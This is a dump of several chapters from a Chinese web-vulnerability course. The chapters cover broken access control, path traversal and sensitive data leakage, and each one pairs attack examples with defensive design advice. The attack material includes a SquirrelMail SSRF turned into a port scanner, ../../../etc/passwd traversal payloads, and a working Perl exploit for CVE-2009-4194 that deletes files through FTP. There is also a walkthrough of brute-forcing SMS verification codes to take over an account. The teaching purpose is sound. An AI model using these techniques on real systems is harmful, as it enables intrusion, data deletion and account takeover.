0 directories, 7 files
|
||||
|
||||
|
||||
mail_fetch的主要功能是通过使用fsockopen()这个PHP函数来模拟POP3协议,并且仅支持了POST方式的认证,并没有对IP以及端口号进行检查:
|
||||
|
||||
...
|
||||
if (!isset($port) || !$port) {$port = 110;}
|
||||
if(!empty($this->MAILSERVER))
|
||||
$server = $this->MAILSERVER;
|
||||
|
||||
if(empty($server)){
|
||||
$this->ERROR = "POP3 connect: " . _("No server specified");
|
||||
unset($this->FP);
|
||||
return false;
|
||||
}
|
||||
// 老师加的注释
|
||||
// 此处缺乏对于服务器IP及端口号的检查
|
||||
$fp = @fsockopen("$server", $port, $errno, $errstr);
|
||||
|
||||
if(!$fp) {
|
||||
$this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]";
|
||||
unset($this->FP);
|
||||
return false;
|
||||
}
|
||||
...
|
||||
|
||||
|
||||
经过简单的分析,可以发现该代码段符合“A && B && ( C || D )”的漏洞存在条件,该处应该存在失效的访问控制。
|
||||
|
||||
找到了切入点,接下来你就可以通过下面三个步骤实现汽车变成汽车人的精彩过程——将SquirrelMail变成Nmap扫描器:
|
||||
|
||||
|
||||
服务端先返回消息的Service,比如SSH这种,通过对TCP服务的Banner信息抓取,可以了解目标资产提供的Service;
|
||||
客户端先发送消息的Service,比如HTTP这种,POP3对象在建立完TCP三次握手之后会进入阻塞状态,通过fgets()函数设置硬编码超时时间,可以判断目标端口是否开放;
|
||||
由于仅仅支持POST方式认证,因此请求是以账户为前置条件去发送的,所以Cookie也是需要的。
|
||||
|
||||
|
||||
那么到现在为止,我们已经有了“汽车人”变形之后的完整功能设计图:
|
||||
|
||||
./squirrel-nmap [Target] [IP] [TCP_PORT] [Cookie]
|
||||
- Target suqiremail的URL地址,如http://target.com/sqm/
|
||||
- IP 待扫描的IP地址
|
||||
- TCP_PORT 尝试探测的TCP端口号
|
||||
- Cookie 经过认证的Cookie
|
||||
|
||||
|
||||
通过简单的实现,我们来看看实际的战斗威力如何:
|
||||
|
||||
./squirre-nmap "http://target.com/squirrelmail-1.4/" 192.168.1.4 22 "key=dTPc00s%3D;SQMSESSID=2600633c256570917fe25d7773eb41b3"
|
||||
Fetching from 192.168.1.4:22
|
||||
Oops, POP3 connect: Error [SSH-2.0-OpenSSH_5.1p1 Debian-3]
|
||||
|
||||
|
||||
可以看到能够成功地对内网IP进行Service进行探测。
|
||||
|
||||
安全建设方案
|
||||
|
||||
通过这次探讨,你可以发现访问控制是授权或拒绝特定用户请求的过程。这个过程只有在应用开发的初始阶段就经过良好的设计,才能避免后续问题的发生。接下来我会提出一些优秀的访问控制设计原则,供你在实践中参考:
|
||||
|
||||
1. 优先开始设计访问控制体系-
|
||||
访问控制不仅是应用安全设计的一项主要事务,而且应当被设置在非常优先的位置,因为往往访问控制的设计在起步阶段是相对简单的,但是会很快随着功能点的增多快速复杂化。所以,如果你考虑使用成熟的软件框架来完成访问控制,一定要确保其能够满足你未来的应用定制化需求。
|
||||
|
||||
2. 强制所有请求经过访问控制检查-
|
||||
开发一个访问控制检查层(Layer),然后确保所有请求都在某种程度上经过这个检查层。以Java的filter为例,许多自动化的请求处理机制都是能够帮助我们实现这种需求的技术形态。
|
||||
|
||||
3. 默认拒绝-
|
||||
这是非常简单但是有效的策略,所谓默认拒绝是指,只要一个请求没有被指明是被允许的,那么它就是被拒绝的。
|
||||
|
||||
4. 不要硬编码角色-
|
||||
很多应用框架默认使用用户角色来进行访问控制,以下的代码形态是很常见的:
|
||||
|
||||
if (user.hasRole("admin") || user.hasRole("Manager")) {
|
||||
deleteAccount();
|
||||
}
|
||||
|
||||
|
||||
但是你要对这种Role-Based编码模式格外留意,因为它可能会带来以下几种风险:
|
||||
|
||||
|
||||
由于这种编码自身的特性非常脆弱,很容易出现检查错误或者检查缺失等情况;
|
||||
由于这种编码模型对于多租户产品非常不友好,很容易出现用户角色一致但是权限不一致的情况;
|
||||
Role-Based编码模型无法适配包括以数据为核心的以及横向访问控制;
|
||||
当项目代码量攀升并且伴随着很多访问权限控制的情况出现时,访问控制策略的审计和验证是非常困难的。
|
||||
|
||||
|
||||
因此这里我更推荐你使用这种编码方式:
|
||||
|
||||
if (user.hasAccess("DELETE_ACCOUNT")) {
|
||||
deleteAccount();
|
||||
}
|
||||
|
||||
|
||||
以属性或者功能为核心的访问控制编码模型,从特性上来讲更易于构建功能丰富的访问控制系统。
|
||||
|
||||
5. 记录所有的访问控制类事件-
|
||||
所有的访问控制失效都应该有完整的记录,因为这些事件很可能成为恶意用户尝试寻找系统漏洞的线索。
|
||||
|
||||
总结
|
||||
|
||||
这节课程我们学习了2021年OWASP TOP 10中排行第一的风险类别——失效的访问控制,访问控制是安全建设的第一关,也是最重要的一环 —— 它不仅和安全建设相关,更是产品功能的一个组成部分。
|
||||
|
||||
首先我们对访问控制的概念和范围进行了整体探讨,列举了一些典型的访问控制失效场景:
|
||||
|
||||
|
||||
系统实现过程中违背最小权限原则;
|
||||
修改API参数实现越权;
|
||||
提供唯一ID给用户预览数据;
|
||||
未对PUT、DELETE防范进行限制;
|
||||
元数据(JWT、Cookie)操纵;
|
||||
CORS误配置。
|
||||
|
||||
|
||||
然后针对这些典型的访问控制失效场景,我们展示了对应的问题代码。
|
||||
|
||||
在漏洞挖掘过程中,作为安全或者开发人员,我们要先对待挖掘的漏洞有清晰的认知,对于一些稍复杂的逻辑漏洞最好能够进行清晰的数学描述。
|
||||
|
||||
这里我们以“意外的代理访问”类型漏洞为例,抽象出了一个数学模型——“A && B && ( C || D )”用于该类漏洞的判断,并利用模型成功分析了一个2010年真实发生的的0 Day漏洞。
|
||||
|
||||
在最后一部分,我们对访问控制层面的安全建设做了分析,并且给出了一些优秀的设计层、编码层的建议:
|
||||
|
||||
|
||||
在系统构建阶段优先设计访问控制体系;
|
||||
强制所有请求经过访问控制检查;
|
||||
采用默认拒绝原则;
|
||||
采取以权限为核心的编码原则;
|
||||
记录所有访问控制类事件。
|
||||
|
||||
|
||||
以我们所探讨的安全建设方案为基础,相信你可以进行优雅的编码并设计出优秀的访问控制系统,构建起你的应用安全的第一道防线。
|
||||
|
||||
思考题
|
||||
|
||||
除了这节课程我们提到的风险种类,访问控制失效你还能想到哪些风险类型呢?
|
||||
|
||||
期待你的思考,也欢迎你在留言中与我交流,或者转发给你的朋友加入讨论。我们下节课再见!
|
||||
|
||||
|
||||
|
||||
|
256
专栏/Web漏洞挖掘实战/02路径穿越:你的Web应用系统成了攻击者的资源管理器?.md
Normal file
256
专栏/Web漏洞挖掘实战/02路径穿越:你的Web应用系统成了攻击者的资源管理器?.md
Normal file
@ -0,0 +1,256 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
02 路径穿越:你的Web应用系统成了攻击者的资源管理器?
|
||||
你好,我是王昊天。
|
||||
|
||||
上节课呢,我们学习了失效的访问控制,这节课我想和你一起探索另一个有趣的漏洞类型——神奇的路径穿越。
|
||||
|
||||
想象你是一个勇者,而你这次的目标是要进入一座盘踞着古龙的城堡寻找宝藏。考虑到自己还不够强大,正面进攻明显会送了自己的小命,于是你打算先绕道看看,这个城堡有没有什么其他可以进入的方式。幸运的是,作为一座昔日的王宫,这座城堡的设计完整,有许多侧门;但同时你也会发现,每一扇侧门的背后不是仓库就是守卫室,完全不能帮助你进入城堡内部。经过了一整天的探索,你终于发现了一个房间,它和其他仓库在外观上并无二致,唯一的不同是其中一块地板下竟藏着一扇暗门,你怀着好奇缓缓开启这扇门,发现面前正是一条通往城堡的密道…
|
||||
|
||||
如果把城堡看作是你进行安全检测的系统,那么恭喜你,现在你已经成功找到了路径穿越漏洞。通过这种漏洞,你可以访问“城堡”内部的各种“宝藏”。当然,你具体能访问到什么样的宝藏,还要取决于地道究竟能够通往何处。
|
||||
|
||||
路径穿越
|
||||
|
||||
那么什么是路径穿越呢?简单来说,你所构建的系统中有一个功能组件使用外部输入来构建文件名,而这个文件名会用来定位一个在受限目录的文件,如果文件名中既包含一些特殊元素,又没有进行合理的过滤处理,就会导致路径被解析到受限文件夹之外的目录。
|
||||
|
||||
扩展开讲一讲,很多系统内部的文件操作都希望被限制在特定目录中进行。通过使用..以及/符号,攻击者可以进行文件路径逃逸。其中最常见的符号组合是../,这种符号组合在操作系统中会被解析为上级目录,这种漏洞被称为相对路径穿越。绝对路径穿越是另一种类型的路径穿越,比如/usr/local/bin就是典型的例子。
|
||||
|
||||
接下来我们看几种典型的攻击场景:
|
||||
|
||||
|
||||
这里我们来看一种典型的社交网络应用代码,每个用户的配置文件都被存储在单独的文件中,所有文件被集中到一个目录里:
|
||||
|
||||
|
||||
my $dataPath = "/users/example/profiles";
|
||||
my $username = param("user");
|
||||
my $profilePath = $dataPath . "/" . $username;
|
||||
|
||||
// 这里是老师写的注释
|
||||
// 并没有对用户传入的username参数进行验证
|
||||
open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
|
||||
print "<ul>\n";
|
||||
while(<$fh>) {
|
||||
print "<li>$_</li>\n";
|
||||
}
|
||||
print "</ul>\n";
|
||||
|
||||
|
||||
当用户尝试去访问自己的配置文件的时候,会组成如下路径:
|
||||
|
||||
/users/example/prfiles/hunter
|
||||
|
||||
|
||||
但是这里要注意的是上述代码并没有对用户传入的参数做验证,因此攻击者可以提供如下参数:
|
||||
|
||||
../../../etc/passwd
|
||||
|
||||
|
||||
通过拼接,攻击者将会得到一个完整的路径:
|
||||
|
||||
/users/example/profiles/../../../etc/passwd ==> /etc/passwd
|
||||
|
||||
|
||||
通过这条路径,攻击者就可以成功访问到Linux系统的password文件。
|
||||
|
||||
|
||||
下面这个代码在编写过程中考虑到输入的不安全性,采用了黑名单方式,过滤掉了输入中包含的../字符。
|
||||
|
||||
|
||||
my $username = GetUntrustedInput();
|
||||
// 这里是老师写的注释
|
||||
// 黑名单方式过滤
|
||||
// 对username的过滤不严格
|
||||
$username = ~ s/\.\.\///;
|
||||
my $filename = "/home/user/" . $username;
|
||||
ReadAndSendFile($filename);
|
||||
|
||||
|
||||
但是值得注意的是,过滤代码中并没有使用/g这个全局匹配符,因此仅仅过滤掉了参数中出现的第一个../字符:
|
||||
|
||||
../../../etc/passwd => /home/user/../../etc/passwd
|
||||
|
||||
|
||||
所以攻击者仍然可以通过多层拼接来实现攻击。
|
||||
|
||||
|
||||
如下代码也在编写中考虑到输入的不安全性,它采用了白名单方式,限制了路径:
|
||||
|
||||
|
||||
String path = getInputPath();
|
||||
// 这里是老师写的注释
|
||||
// 白名单方式过滤
|
||||
// 对path的限制不够严格
|
||||
if (path.startsWith("/safe_dir/"))
|
||||
{
|
||||
File f = new File(path);
|
||||
f.delete()
|
||||
}
|
||||
|
||||
|
||||
但是攻击者依然可以通过提供如下参数进行绕过:
|
||||
|
||||
/safe_dir/../etc/passwd
|
||||
|
||||
|
||||
|
||||
如下代码通过在前端上传文件自动获取属性,凭借这样的方式限制用户输入:
|
||||
|
||||
|
||||
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
|
||||
|
||||
Choose a file to upload:
|
||||
<input type="file" name="filename"/>
|
||||
<br/>
|
||||
<input type="submit" name="submit" value="Submit"/>
|
||||
|
||||
</form>
|
||||
|
||||
|
||||
如下Java Servlet代码通过doPost方法接受请求,从HTTP Request Header中解析文件名,然后从Request中读取内容后再写入本地upload目录:
|
||||
|
||||
public class FileUploadServlet extends HttpServlet {
|
||||
...
|
||||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||
response.setContentType("text/html");
|
||||
PrintWriter out = response.getWriter();
|
||||
String contentType = request.getContentType();
|
||||
|
||||
// the starting position of the boundary header
|
||||
int ind = contentType.indexOf("boundary=");
|
||||
String boundary = contentType.substring(ind+9);
|
||||
|
||||
String pLine = new String();
|
||||
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
|
||||
|
||||
// verify that content type is multipart form data
|
||||
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
|
||||
// extract the filename from the Http header
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
|
||||
...
|
||||
pLine = br.readLine();
|
||||
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
|
||||
...
|
||||
|
||||
// output the file to the local upload directory
|
||||
try {
|
||||
// 这里是老师写的注释
|
||||
// 攻击者可以修改Request中的filename进行攻击
|
||||
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
|
||||
for (String line; (line=br.readLine())!=null; ) {
|
||||
if (line.indexOf(boundary) == -1) {
|
||||
bw.write(line);
|
||||
bw.newLine();
|
||||
bw.flush();
|
||||
}
|
||||
} //end of for loop
|
||||
bw.close();
|
||||
} catch (IOException ex) {
|
||||
...
|
||||
}
|
||||
// output successful upload response HTML page
|
||||
}
|
||||
// output unsuccessful upload response HTML page
|
||||
else
|
||||
{...}
|
||||
}
|
||||
...
|
||||
}
|
||||
|
||||
|
||||
上述代码一方面没有对上传的文件类型进行检查(这节课我们不探讨这个安全问题),另一方面没有检查filename就直接进行了拼接,因此攻击者只需要通过Burpsuite、ZAP等Proxy应用对Request进行拦截和修改filename属性即可利用路径穿越漏洞。
|
||||
|
||||
在了解典型的风险场景之后,我们来看一下实战中真正出现过的安全漏洞。
|
||||
|
||||
案例实战
|
||||
|
||||
CVE-2009-4194
|
||||
|
||||
该漏洞是一个目录穿越漏洞,影响的软件版本是Golden FTP Server 4.30 Free 以及 Professional版本、4.50版本(未验证),允许攻击者通过DELE命令删除任意文件。
|
||||
|
||||
启动MiTuan中的CVE-2009-4194靶机,这是一个Windows 7系统,内置了Golden FTP Server 4.30版本,并且已经预先设置好了FTP共享路径:
|
||||
|
||||
C:\Users\sty\Desktop
|
||||
|
||||
|
||||
接下来构建我们的攻击程序,为了方便我们采用Perl语言。如果你使用的是Mac电脑,那么你可以无需配置环境,直接运行我们编写好的攻击程序体验效果:
|
||||
|
||||
use strict;
|
||||
use Net::FTP
|
||||
|
||||
print "1";
|
||||
my $ftp = Net::FTP->new("52.81.192.166", Debug => 1) || die $@;
|
||||
|
||||
$ftp->login("anonymous", "") || die $ftp->message;
|
||||
|
||||
$ftp->cwd("/Desktop/") || die $ftp->message;
|
||||
|
||||
# This deletes the file C:\Users\sty\test.txt
|
||||
$ftp->delete("../test.txt");
|
||||
|
||||
$ftp->quit;
|
||||
|
||||
$ftp = undef;
|
||||
|
||||
|
||||
通过上述的代码,我们可以看到C:\Users\sty\test.txt文件已经被删除了,我们成功穿越了FTP Server的限制,实现了了任意文件的删除!又一个神奇的漏洞被我们成功利用了,身为勇士的你成功地获取了城堡内宝藏的控制权。
|
||||
|
||||
防御方案
|
||||
|
||||
既然我们已经了解了漏洞的原理、发生的场景以及利用方式,那么我们要如何防御这种类型的攻击,并且预防潜在的漏洞出现呢?我们可以从不同的阶段出发,进行多维度安全建设,从而最大化地降低这类风险出现的概率。
|
||||
|
||||
在编码实现阶段:-
|
||||
1. 假设所有的输入都是恶意的,使用“只接受已知的善意的”输入检查策略,也就是使用一些定义清晰且严格的参数格式;-
|
||||
2. 输入都应该被解码为程序内部的处理格式,并且确保在应用系统没有被二次解码,防止攻击者通过编码或者二次编码进行绕过;-
|
||||
3. 如果可能,为用户提供选项或者通过应用系统内部ID映射的方式进行对象访问,例如ID 1对应“info.txt”;-
|
||||
4. 确保Error Message只包含最小必要信息,避免过于详细的信息展示,防止攻击者因此获取系统相关信息。
|
||||
|
||||
在架构设计阶段:-
|
||||
1. 确保所有客户端发生的安全检查,都在服务端完成第二次检查,这样做的目的是防止攻击者在客户端进行安全检查绕过;-
|
||||
2. 使用成熟的库或者框架来使开发者更容易规避这种特定类型的风险。
|
||||
|
||||
在防御建设阶段:-
|
||||
1. 使用可以防御这种类型攻击的应用层防火墙,在某些特定情况下(比如应用系统漏洞无法修复)非常有效;-
|
||||
2. 使用最小权限运行开发完毕的应用系统,如果可能,创建独立的受限账户用于应用系统运行;-
|
||||
3. 使用沙箱环境运行开发完毕的应用系统,做好进程和系统之间的边界隔离。
|
||||
|
||||
回到我们最初的场景,此时你不再是想要潜入城堡的勇士,而是昔日负责城堡建设的规划师。那么编码实现阶段的输入过滤就像一道道门禁关卡,只有真正城堡内部的人才能进入;架构设计阶段则让你从内到外地落地安全检查,当然你也可以借鉴成熟的城堡设计方案;最后在防御建设阶段,做好每个通道的隔离,确保不会有任何一条通道可以直接进入城堡核心区域。
|
||||
|
||||
总结
|
||||
|
||||
构建一个安全优雅的系统,保持神秘性是一个至关重要的因素,让用户只看到他应该看到的东西,是这一切的前提。
|
||||
|
||||
不怀好意的攻击者往往非常聪明,你让他看见一滴水,他就能想到路的尽头是一片海洋,最有趣的事情在于你所建设的系统尽头恰好有一片海洋,而且海里还有攻击者垂涎的海鲜。
|
||||
|
||||
这节课我们分析了常见的路径穿越场景和这些场景下的典型漏洞利用代码:
|
||||
|
||||
|
||||
未对用户输入做验证;
|
||||
黑名单检测绕过;
|
||||
白名单检测绕过;
|
||||
前端检测绕过。
|
||||
|
||||
|
||||
我们还以漏洞CVE-2009-4194为例,带你在实战中复现了路径穿越漏洞。
|
||||
|
||||
最后,我从编码实现、架构设计、防御建设3个不同的阶段,给你提供了安全编码和系统加固的建议:
|
||||
|
||||
|
||||
对所有用户输入执行严格的输入检查,确保不会出现二次解码绕过问题,并推荐使用内部ID映射的方式进行对象访问;
|
||||
使用成熟的开发框架,并且在客户端、服务端都执行安全检查;
|
||||
使用沙箱环境运行应用系统,遵循最小权限原则,使用独立的受限权限账户,并在边界架设应用防火墙。
|
||||
|
||||
|
||||
以上,就是本节课的内容——构建一个安全优雅的系统,让用户只能走到他该走到的地方。
|
||||
|
||||
思考题
|
||||
|
||||
通过本节课的案例实战,你可以尝试自己复现CVE-2009-4053漏洞吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
185
专栏/Web漏洞挖掘实战/03敏感数据泄露:攻击者如何获取用户账户?.md
Normal file
185
专栏/Web漏洞挖掘实战/03敏感数据泄露:攻击者如何获取用户账户?.md
Normal file
@ -0,0 +1,185 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
03 敏感数据泄露:攻击者如何获取用户账户?
|
||||
你好,我是王昊天。
|
||||
|
||||
“人只要奋斗就会犯错。”
|
||||
|
||||
这是一个非常好的句子,出自歌德的代表作,长篇诗剧《浮士德》。
|
||||
|
||||
一千个读者有一千个哈姆雷特,每个人对这句话的理解都不尽相同。悲观的人或许会理解为“人努力了就要犯错误,所以就不要再努力了”;但是从我的经历看来,我更愿意相信它是在说“人努力成长本身就是试错的过程,犯错是难免的,不要因为害怕犯错而停止努力”。
|
||||
|
||||
为什么要提到这句话呢?因为系统如人——是有生命力的,系统随着不断更新会出现新的问题,甚至有时候问题本身就是功能设计的一部分。很多敏感数据泄露风险的源头,一部分出现在技术层,一部分出现在设计层,正如我们上面所讲,做得多了,难免会犯错。
|
||||
|
||||
敏感数据泄露
|
||||
|
||||
什么是敏感数据泄露呢?简单来说,如果我们的应用系统向一个未得到访问授权的用户暴露了敏感信息,那么这就是一种敏感数据泄露风险。
|
||||
|
||||
拓展讲一讲,设计上或者技术上有很多意外的失误会导致数据泄露。并且这种错误的严重级别分布也很宽泛,具体要取决于应用系统执行的上下文、被泄露敏感数据的类型以及攻击者从中获取的收益,这里我们列举一些数据类型。
|
||||
|
||||
比如个人信息分类,包括即时通讯消息、银行卡信息、交易信息、健康信息、地理位置信息以及订单信息等;系统状态信息分类,包括操作系统信息、环境变量信息、第三方包信息等;还有网络及配置信息、应用系统代码及内部状态信息、元数据信息等等。
|
||||
|
||||
不仅数据本身涉及分类分级,对于不同的群体而言,数据的敏感性也是不同的,每个用户群体对于数据保护有着不同的诉求。他们可能是应用系统开发者、应用系统引入的第三方数据的原始拥有者、应用系统管理员(包括业务层、应用层、系统层和运维层)、应用系统的直接用户等。
|
||||
|
||||
在了解数据的多样性以及使用群体的多样性之后,我们接下来看一下数据泄露方式的多样性。
|
||||
|
||||
首先,在代码层面可能会直接将敏感数据插入到某个消息或者资源中,这个携带着敏感数据的消息或资源被未授权的用户成功访问就会导致数据泄露。
|
||||
|
||||
其次,可能会由于系统内部错误直接将敏感数据插入到资源文件中,比如Web脚本错误泄露应用系统的全路径。
|
||||
|
||||
再或者,虽然在代码层面对于敏感数据有着良好的管理,但是由于编码问题,可能导致敏感数据资源被意外地展示在攻击者面前。
|
||||
|
||||
可以看到,敏感数据泄露并非单一的技术问题 ,它不仅具备多种风险形态,有时候更是设计层面考虑不全面导致的。
|
||||
|
||||
接下来我们一起来看看有哪些比较典型的风险场景:
|
||||
|
||||
1. 应用系统逻辑设计问题-
|
||||
如下代码检测了用户名及密码的正确性并且给出用户结果反馈:
|
||||
|
||||
my $username = param('username');
|
||||
my $password = param('password');
|
||||
|
||||
if ( IsValidUsername($username) )
|
||||
{
|
||||
if ( IsValidPassword($username, $password) )
|
||||
{
|
||||
print "Login successful";
|
||||
}
|
||||
else
|
||||
{
|
||||
print "Login failed - incorrect password";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
print "Login failed - incorrect username";
|
||||
}
|
||||
|
||||
|
||||
上述代码中,对于不同的账户名、密码错误组合给出了不同的信息反馈,这样的设计使得潜在攻击者能够获得足够的信息来判断login函数的返回值,因此攻击者能够使用暴力破解的方式来遍历合法的用户名,从而可以进一步尝试暴力破解或者通过社工库撞库等方式获得对应的密码。不可否认的是,这样的设计是希望给用户提供更多友好性,但也为潜在攻击者提供了友好性,这里推荐的实现方案是如下这种:
|
||||
|
||||
print "Login failed - incorrect username or password"
|
||||
|
||||
|
||||
这里将错误输出设定为同一种,这样在没有丧失用户友好性的同时强化了安全性。
|
||||
|
||||
2. 异常处理问题-
|
||||
如下代码尝试建立一个数据库连接,并且将exception输出:
|
||||
|
||||
try {
|
||||
openDBConnection();
|
||||
} catch (Exception $e) {
|
||||
echo 'Caught exception:', $e->getMessage();
|
||||
}
|
||||
|
||||
|
||||
上述代码中,如果由于网络原因(常见)或者其他原因导致Exception的发生,会在用户访问的页面出现Exception信息,这其中就可能包含数据库连接的相关信息。
|
||||
|
||||
3. 应用部署问题-
|
||||
如下代码通过使用一个Debug标识符来进行程序执行逻辑决策:
|
||||
|
||||
<% if (Boolean.getBoolean("debugEnabled")) { %>
|
||||
User account number: <% =account_num %>
|
||||
<% } %>
|
||||
|
||||
|
||||
上述代码中,如果在部署应用过程中未将debugEnabled设置为False,敏感的调试会被输出到用户能够访问的页面。
|
||||
|
||||
4. 权限获取问题-
|
||||
如下代码为了给用户提供更符合用户需求的服务,希望通过获取坐标来判断用户的地理位置。
|
||||
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
|
||||
|
||||
|
||||
在这种场景中,通过对getLastLocation()的调用,可以获得应用所需的坐标信息:
|
||||
|
||||
locationClient = new LocationClient(this, this, this);
|
||||
locationClient.connect();
|
||||
|
||||
Location userCurLocation;
|
||||
userCurLocation = locationClient.getLastLocation();
|
||||
...
|
||||
|
||||
|
||||
事实上,为了满足应用的地理位置获取需求,ACCESS_FINE_LOCATION这个权限有些过高了,有时候我们只需要使用ACCESS_COARSE_LOCATION即可满足需求。当然这里我们只是举个例子,很多应用对于权限的滥用远不止于权限颗粒度,随着法律法规的健全,应用开发过程中我们对于权限的申请和使用需要越来越谨慎。
|
||||
|
||||
案例实战
|
||||
|
||||
2021某攻防演练行动中的某集团ERP系统
|
||||
|
||||
该漏洞是一个由程序设计逻辑问题引发的敏感数据泄露漏洞,通过官网链接或者URL地址爆破,很容易找到密码找回功能界面,这里我们可以首先看一下该界面,提供了通过手机验证码来更新密码的功能:
|
||||
|
||||
|
||||
|
||||
在尝试漏洞挖掘过程中,如果能够根据返回结果的差异性来判断函数内部的执行逻辑,对攻击者而言是非常有利的信号,因为这意味着黑盒的动态测试转变为白盒测试,大幅降低了攻击难度。
|
||||
|
||||
因此我们首先尝试不同的输入来探测应用系统返回结果:
|
||||
|
||||
|
||||
|
||||
可以看到返回的报错信息是足够清晰的,能够帮助我们判断每一次输入的正确性,这符合我们这节课分享的第一种典型风险场景。
|
||||
|
||||
接下来我们需要找到真实存在的用户账号以及对应手机号码,一种可行的途径是通过社会工程学获得,另一种方式是查找公开资源。
|
||||
|
||||
由于公开资源的查找比较方便快捷,这里先选择该思路进行尝试,通过一些简单的查询可以找到一份该系统的使用说明视频,视频中包含了用户登录过程,虽然登录过程的密码是以星号显示的,但是用户名可以确定,并且登录之后视频中展示的账号信息配置界面包含了手机号,至此我们已经找到真正存在的用户名及手机号码:
|
||||
|
||||
|
||||
|
||||
填入正确的用户名和手机号,点击获取手机验证码,功能一切正常。接下来我们只要猜测出手机验证码即可。按照一般应用系统的设计规则,验证码的范围应该主要有两种:
|
||||
|
||||
|
||||
0000-9999
|
||||
000000-999999
|
||||
|
||||
|
||||
我们先随机输入一个格式正确的验证码,并且使用Burp进行请求拦截,可以截获该HTTP请求,随后使用Burp的请求重放功能,将验证码部分设置为payload,范围设置为0000-9999,开始爆破即可。
|
||||
|
||||
|
||||
|
||||
随着爆破结束,查看Burp的请求结果。结果中所有的请求结果长度都是一致的,说明并未找到正确的验证码。这里存在两种可能性,一种可能性是验证码为6位而非4位,另一种可能性是验证码已经过期。
|
||||
|
||||
这时我们只能逐一排查,将payload范围选择为000000-999999后重新启动重放攻击。大约3个小时后我们终于成功爆破出正确的验证码,本次攻击的访问控制绕过部分宣告成功。
|
||||
|
||||
虽然本次攻击过程仅仅尝试了6位验证码的攻击,但是需要知道的是一般验证码的有效期大概在10~30分钟,本次攻击的系统并不具备该限制,但是即使未来你检测的目标系统存在该限制,你仍然可以通过多线程并发爆破的方式在有限的时间内成功碰撞出正确的验证码。
|
||||
|
||||
那么截止到这里,我们已经在实战中成功验证了一个典型的风险模型场景,并且该风险场景包括业务敏感数据泄露以及程序逻辑设计不当两种安全风险。
|
||||
|
||||
检测及防御方案
|
||||
|
||||
由于数据泄露风险的特殊性质,主要是很多时候风险来源是逻辑层面、设计层面或者权限层面的安全问题,导致传统的防御方案和扫描器等很难发挥作用,也正因如此导致其成为了排名第一的风险种类,因此我们需要引入新型安全技术及工具来发现这类潜在风险。
|
||||
|
||||
在开发及设计阶段,可以考虑引入威胁建模及审计工具,来协助我们发现在逻辑层面以及设计层面引入的安全风险。通过对系统功能以及业务流程的威胁建模,可以帮助我们消除许多常见的安全隐患。
|
||||
|
||||
对于在开发中以及线上运营中的系统,我推荐你运用动态安全分析工具以及静态安全分析工具。以BAS(Breach & Attack Simulation Platform,自动化模拟攻击)为首的动态安全分析工具能够更全面地覆盖系统功能及接口,同时发现深层次安全问题;而以SAST为首的静态安全分析工具则可以从代码脆弱性角度帮助我们发现并消除一些安全隐患。
|
||||
|
||||
总结
|
||||
|
||||
敏感数据泄露即使在今天仍然是相当严重且普遍存在的一个风险点,主要原因是数据泄露并非一个纯粹的技术性问题,很多时候与业务流程、功能设计都息息相关。
|
||||
|
||||
单纯从漏洞危害程度来看,敏感数据泄露主要分为两种,一种是业务敏感数据泄露,另一种是技术敏感信息泄露。业务敏感数据的泄露危害性是巨大的,会直接影响到公司的品牌和业务运行;技术敏感信息泄露往往不能对应用系统安全性产生直接威胁,但配合其他漏洞的综合利用可以实现1+1>2的效果,其他漏洞利用过程所需的重要信息也许就隐藏在泄露的技术敏感信息中。
|
||||
|
||||
这节课我们首先重点探讨了几种常见的非技术性敏感数据泄露场景:
|
||||
|
||||
|
||||
应用系统设计阶段逻辑问题;
|
||||
异常处理输出不当;
|
||||
应用部署时未关闭调试开关;
|
||||
权限获取过多。
|
||||
|
||||
|
||||
接下来我们用一个2021年真实的护网行动案例,带你感受了现实场景的漏洞挖掘和利用。某世界500强集团的ERP系统,存在典型的应用系统设计阶段逻辑问题,通过输入和输出信息,攻击者可以判断出开发者的内部函数代码逻辑,进而不断探测出敏感数据,完成账户控制。
|
||||
|
||||
最后,针对敏感数据泄露的防御方案,我们列举了包括BAS、SAST、威胁建模在内的几种常见的有效防御方案。
|
||||
|
||||
思考题
|
||||
|
||||
通过本节课的探讨,你可以在实际场景中找到一个典型的潜在敏感数据泄露风险点吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
285
专栏/Web漏洞挖掘实战/04权限不合理:攻击者进来就是root权限?.md
Normal file
285
专栏/Web漏洞挖掘实战/04权限不合理:攻击者进来就是root权限?.md
Normal file
@ -0,0 +1,285 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
04 权限不合理:攻击者进来就是root权限?
|
||||
你好,我是王昊天。
|
||||
|
||||
在多年的电脑使用经历中,你肯定经历过这种画面:
|
||||
|
||||
下载了官方软件却没有正版授权,于是千辛万苦找到一个破解软件,但是在运行破解软件时不断被杀毒软件拦截,一怒之下你把杀毒软件关闭了,随着破解软件的成功消息弹出,你露出了满意的微笑……
|
||||
|
||||
3天后你的电脑由于病毒感染无法开机了。
|
||||
|
||||
这是一种很典型的场景——为了某些临时性的操作破坏了权限边界,进而导致安全问题的发生。其实,除了临时性的操作,还有很多权限安全问题是长期性的,可能是配置原因、也可能是代码原因,接下来就让我们来一起探究。
|
||||
|
||||
权限不合理
|
||||
|
||||
权限不合理简单来说,是不合理的权限赋予、权限处理以及权限管理过程。这里所说的权限,指的是终端角色的一种属性。那么什么是终端角色呢?你可以理解为,用户就是一个终端角色。
|
||||
|
||||
